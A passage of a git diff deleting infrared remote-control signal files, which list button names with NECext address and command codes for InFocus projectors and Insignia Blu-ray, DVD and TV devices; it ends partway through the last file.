100644 index 7ddef0df4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ANT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0C 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: GO_BACK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 56 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 57 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 58 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 59 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 90 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C3 00 00 00 -# -name: CH_CONTROL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E5 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir deleted file mode 100644 index 61d9cecb9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0F 00 00 00 -# -name: STANDBY_(ON/OFF) -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 10 00 00 00 -# -name: LITE_SHOW -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 11 00 00 00 -# -name: NEXT_^ -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 12 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 17 00 00 00 -# -name: FREEZE_ESC -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 18 00 00 00 -# -name: MENU_EDIT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 19 00 00 00 -# -name: MIC_> -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1B 00 00 00 -# -name: MUTE_< -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1D 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1E 00 00 00 -# -name: PREV_V -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir deleted file mode 100644 index 36f77b814..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 03 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 07 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 0E 00 00 00 -# -name: SOURCE_SELECT -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 10 00 00 00 -# -name: CURSOR_+ -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 13 00 00 00 -# -name: CURSOR_- -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 17 00 00 00 -# -name: KEYSTONE_+ -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 20 00 00 00 -# -name: KEYSTONE_- -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 21 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 2C 00 00 00 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 2D 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 2E 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 2F 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 30 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 31 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 32 00 00 00 -# -name: AUTO_IMAGE -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 33 00 00 00 -# -name: RESIZE -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 34 00 00 00 -# -name: OVERSCAN -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 35 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 36 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 37 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 3A 00 00 00 -# -name: NATIVE_RESIZE -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 3B 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 3C 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 3D 00 00 00 -# -name: LETTERBOX -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 3E 00 00 00 -# -name: NATURAL_WIDE_RESIZE -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 3F 00 00 00 -# -name: USER_PRESET_1 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 40 00 00 00 -# -name: USER_PRESET_2 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 41 00 00 00 -# -name: USER_PRESET_3 -type: parsed -protocol: NECext -address: 4E 87 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir deleted file mode 100644 index 06220f919..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 02 00 00 00 -# -name: DISP_MODE -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 06 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 07 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 0A 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 0C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 11 00 00 00 -# -name: KEYSTONE_+ -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 13 00 00 00 -# -name: KEYSTONE_- -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 14 00 00 00 -# -name: RESYNC -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 15 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 16 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 17 00 00 00 -# -name: SOURCE-LOCK -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 1B 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 1C 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 1D 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 1E 00 00 00 -# -name: AV_MUTE -type: parsed -protocol: NECext -address: 50 4F 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir deleted file mode 100644 index 3353c9b5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 06 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 09 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 0A 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 0B 00 00 00 -# -name: POP_UP_MENU -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 0C 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 0D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 0F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 11 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 13 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 15 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 19 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 1A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 1A 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 1C 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 1D 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 1E 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 1F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 24 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 26 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 27 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 2A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 2C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 2E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 30 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 32 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 34 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 36 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 3A 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 3C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 3E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 3F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 40 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 45 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 85 ED 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir deleted file mode 100644 index 115cc34b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GREEN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 3E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 41 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 42 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 43 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 44 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 45 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 46 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 47 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 48 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 49 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 50 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 51 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 52 00 00 00 -# -name: FFW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 55 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 57 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 58 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5B 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5C 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5E 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 60 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 70 00 00 00 -# -name: POP_MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 71 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 72 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 73 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 74 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 75 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 76 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 77 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 78 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 79 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7B 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 8A 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 8B 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir deleted file mode 100644 index 115cc34b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GREEN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 3E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 41 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 42 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 43 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 44 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 45 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 46 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 47 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 48 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 49 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 4E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 50 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 51 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 52 00 00 00 -# -name: FFW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 55 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 57 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 58 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5B 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5C 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5E 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 5F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 60 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 70 00 00 00 -# -name: POP_MENU -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 71 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 72 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 73 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 74 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 75 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 76 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 77 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 78 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 79 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 7B 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 8A 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 8B 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 87 22 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir deleted file mode 100644 index a1ac71ad8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 09 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0B 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F 00 00 00 -# -name: MTS/SAP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 11 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 15 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 16 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 17 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 18 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 18 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1B 00 00 00 -# -name: CCD -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1C 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 42 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 43 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 44 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 45 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 48 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 49 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 4B 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 4C 00 00 00 -# -name: DVD/VIDEO -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 4C 00 00 00 -# -name: COMP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 4D 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 4E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 4F 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 50 00 00 00 -# -name: CH-LIST -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 86 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir deleted file mode 100644 index cb9434c7b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 47 00 00 